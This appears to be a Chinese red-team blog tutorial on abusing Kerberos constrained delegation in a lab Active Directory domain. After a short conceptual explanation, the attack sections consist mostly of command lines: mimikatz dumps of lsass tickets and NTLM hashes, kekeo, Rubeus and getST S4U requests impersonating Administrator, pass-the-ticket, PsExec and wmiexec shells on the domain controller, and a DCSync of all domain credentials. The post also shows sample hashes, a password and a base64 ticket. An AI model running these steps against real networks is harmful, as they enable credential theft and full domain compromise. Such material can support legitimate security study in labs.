概念 Widnows Server 2003 之后微软引入了非约束委派。同时,为了顺利进行约束性委派,微软于2007年为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议S4u2self(Service for User to Self)
和S4U2proxy(Service for User to Proxy)
。 约束委派有两种:
仅使用Kerberos,不能进行协议转换
使用任何身份验证协议
S4u2self & S4U2proxy S4U2self
协议允许服务代表任意用户请求访问自身服务的ST服务票据;S4U2proxy
协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据; 约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定 的其他服务。 配置了约束性委派的账户属性会有如下两个变化:
账户userAccountControl
属性设置为TRUSTED_TO_AUTH_FOR_DELEGATION
标志位,值16781312
。
账户msDS-AllowedToDelegateTo
属性,添加允许委派的服务。
环境介绍 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 域名: redteam.com 域控: 操作系统: Windows Server 2016 主机名: ad02-2016 IP: 10.10.1.10 主机名: ad02-2016 IP: 10.10.1.11 域内主机: 操作系统: Windows server 2012 主机名: web-2012 IP: 10.10.10.12 攻击机: 操作系统: win 10 IP: 10.10.10.22
搭建环境 机器账户 活动目录中的computers组内的计算机,也被称为机器账号。服务账户 域账户注册SPN成为服务账户
1 2 3 4 5 setspn -U -A cifs/web-2012. redteam.red saulgoodman #saulgoodman为用户名 setspn -U -A cifs/web-2012. redteam.red web-2012 #web-2012 为主机名 #取消注册 setspn -D cifs/web-2012. redteam.red
域账户变成服务账户后会有委派,仅信任此用户作为指定服务的委派 -> 添加想要委派的服务。
![image.png](1.png %}
约束委派服务账户特征 配置了约束性委派的账户属性会有如下两个变化。 账户 userAccountControl 属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,账户 msDS-AllowedToDelegateTo 属性,添加允许委派的服务。 ![image.png](2.png %}
查询方法 方法1:ADFind 1 2 3 4 5 # AdFind . exe查询约束委派机器账户 .\AdFind . exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto # AdFind . exe查询约束委派服务账户 .\AdFind . exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
![image.png](3.png %}
方法2:SharpView 1 2 3 4 5 .\sharpview.exe Get-DomainComputer -TrustedToAuth -Doamin redteam.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto -AutoSize .\sharpview.exe Get-DomainUser –TrustedToAuth -Domain redteam.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
![image.png](4.png %}
攻击思路 机器账户 方法1:使用机器账户的票据 | kekeo 约束性委派攻击的关键就是获得可转发的服务票据ST ,获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码 ,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket,利用条件:
需要Administrator权限
目标机器账户配置了约束性委派
使用mimikatz 工具导出lsass.exe
进程中所有的票据,得到想要的服务票据
1 2 # 导出票据 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
![image.png](5.png %}
使用kekeo工具申请服务票据(S4U2Proxy协议)
1 2 3 4 5 6 7 8 9 10 .\kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-web-2012$@krbtgt-REDTEAM.COM.kirbi /user:Administrator@redteam.COM /service:cifs/ad01-2016.redteam.com" "exit" .\mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.com@REDTEAM.COM_cifs~ad01-2016.redteam.com@REDTEAM.com.kirbi" "exit" dir \\ad01-2016.redteam.com\c$ .\Psexec.exe -accepteula \\ad01-2016.redteam.red cmd
方法2:使用机器账户的Hash值 | Rubeus 与思路一类似,但是这里使用的是Hash值,利用条件:
需要Administrator权限
目标机器账户配置了约束性委派
1 2 # 使用mimikatz获取机器账户NTLM Hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
使用Rubeus 申请访问自身的可转发服务票据
1 2 3 4 5 6 7 8 # 使用Rubeus申请配置了约束委派机器账户web-2012 $的TGT .\Rubeus.exe asktgt /user:WEB-2012 $ /rc4:40 ee25b2c3f7ac3370429b18aca51e81 /domain:redteam.red /dc:ad02-2016. redteam.red /nowrap # 使用Rubeus通过S4U2Self协议代表域管理员Administrator请求针对域控LDAP服务的票据,并注入内存 .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:ldap/ad02-2016. redteam.red /dc:ad02-2016. redteam.red /ptt /ticket:doIE/jCCBPqgAwIBBaEDAgEWooIEFTCCBBFhggQNMIIECaADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA88wggPLoAMCARKhAwIBAqKCA70EggO5H/WWv61D37Lh8CgUrZXK+OCIcG1ppRSAswcwQuaD4XOCz+v9+wZRJ6xY1DRAQ7HK0fIrp96Z54o0al1nMCGXkKRrq4+UyiTuDABdCUxj/bKj0m/DanX6Bm82LFah0J8CRpFsbt5i1F0U/0 t79e8lGbWqmTajaeTgYQrLFmWMUTL8+DQ7E02wth14UY/rBBF/oDwdVhoFovwvkjSiLYx3ePyX20Gmz8IH+1 ReqZajI8I4FGn1fV6FSzlUI7eWMumOkV61iV3uW1Zw7OqawRTcbx/33 rBjkpKsBCY0Gx41q63a8HiLua1tJZkJOERmUWjr/7 EZeZ+RbcgvDT3yOGD1L0y2iHTnGk1+maS3Rbee7EtERg4RmSwXUMnoRsle6/oVFyVdGhpbf8ePiCUY1IQCLNIt7YcleNljrOxSZwPIH1lBwIxiRNrgyhnJbcFKhroZg+dbITKaZYP1j1jcOdlpA2t5qF/kgIcuTSyz7E8bMvm+34 TwLjOF+bw+5 O3riugezUL0nhZRxxZGYfixtOLTN+wxLfDOvqzBbE9HOSJJOeoxGsktl8y5ULQ1cSxEyYjklxlMrv8/t2jJKJE60VrJS+f+VhYw0de+6 AJ08aSWJrfAQQ6T9aAyBFr+flOnx93aIYb5ql6W5rZ9Q5OKDcms/1 rIzVDoPdB2ZAQxPkquHB8vFAXO86rKw1k1SauMxn8sOFVdocF56eWHIEUegVe4mpGLipQMTMJnFCGhuq1IlLZbPTnFykDM9cR+FZb3d5uUN45BGIS2TEKtie6yBROP5mX3F6273srlBM/XOgOUXPnradx1RUPJ2zEM9L8PYKKm516wTJLirmAYRI4FSdQ3hHuMLeTrHNE8BggLf1AhTQizCf7iUJFf7hJv09gIugLFNXtqakKFeAnxz7Ej+X9Q3xyaR39IBIKPrtd/ChkbDZYiID9n31sGQ4oTyYEQDoef4zIhq/x3qRxeroCFKG4yRdVKo8eBEq4a5TPuHIbstXO # 直接dir dir \\ad02-2016. redteam.red\c$
![image.png](6.png %}
方法3:使用机器账户的Hash值 | getST 同思路2一致,也是使用机器账户的Hash值,但这里使用Impacket工具套件中的getST.py 脚本请求服务票据,并利用该脚本通过wmiexec.py 工具远程登录 利用条件:
需要Administrator权限
目标机器账户配置了约束性委派1 2 3 4 5 6 7 8 9 # mimikatz获取机器账户NTLM Hash值 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # 使用getST申请服务票据 .\getST.exe -dc-ip 10.10 .10.10 -spn cifs/ad01-2016 .redteam.com -impersonate administrator redteam.com /web-2012 $ -hashes :1 d01ff5cd4825306ff1a7599204525ec # 使用票据远程访问 set KRB5CCNAME=administrator.ccache .\wmiexec.exe -k redteam.com /administrator@ad01-2016 .redteam.com -no -pass -dc-ip 10.10 .10.10 -codec gbk
![image.png](7.png %}
方法4:使用机器账户的Hash值 | kekeo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .\kekeo.exe "tgt::ask /user:web-2012$ /domain:redteam.red /NTLM:40ee25b2c3f7ac3370429b18aca51e81" "exit" .\kekeo.exe "tgs::s4u /tgt:TGT_web-2012$@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:ldap/ad02-2016.redteam.red" "exit" .\kekeo.exe "kerberos::ptt TGS_Administrator@redteam.red@redteam.red_ldap~ad02-2016.redteam.red@redteam.red.kirbi" "exit" .\mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_ldap~ad02-2016.redteam.red@REDTEAM.RED.kirbi" "lsadump::dcsync /domain:redteam.com /all /csv" "exit" dir \\ad02-2016 .redteam.red\c$ .\Psexec.exe -accepteula \\ad02-2016 .redteam.red cmd
![image.png](8.png %} ldap账户 ![image.png](9.png %}
服务账户
域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等,还有就是域用户通过注册SPN也能成为服务账号。
方法1:使用服务账户的票据 | kekeo 1 2 3 4 5 ## 通过kekeo 请求服务用户的TGT tgt ::ask /user :saulgoodman /domain :redteam.red /password :Saul !@#456 /ticket :test.kirbi ## 同理此处利用ntlm hash 也是可以进行请求的 tgt ::ask /user :websec /domain :redteam.club /NTLM :XXXXX
![image.png](10.png %}
1 2 tgs::s4u /tgt: TGT_saulgoodman@REDTEAM .RED_krbtgt~redteam.red@REDTEAM .RED.kirbi /user: Administrator@redteam .red /service: cifs/AD02-2016 .redteam.red
![image.png](11.png %}
kekeo当前路径下会出现administrator的ticket (用于访问saulgoodman的CIFS服务), 访问saulgoodman的cifs服务: 使用kekeo导入票据访问域控。cifs服务
1 2 3 4 5 6 7 8 kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD02-2016.redteam .red@REDTEAM.RED.kirbi .\PsExec.exe \\ad02-2016.redteam.red cmd dir \\ad02-2016.redteam.red\c$
![image.png](12.png %}
![image.png](13.png %}
ldap服务
1 2 3 4 5 ## mimikatz 导入ptt kerberos ::ptt TGS_Administrator @redteam .red@REDTEAM .RED_cifs~AD02-2016.redteam.red@REDTEAM .RED.kirbi## mimikatz不用本机管理员,导入kiket即可不用 "privilege::debug" lsadump: :dcsync /domain: redteam.com /all /csv
![image.png](14.png %}
![image.png](15.png %}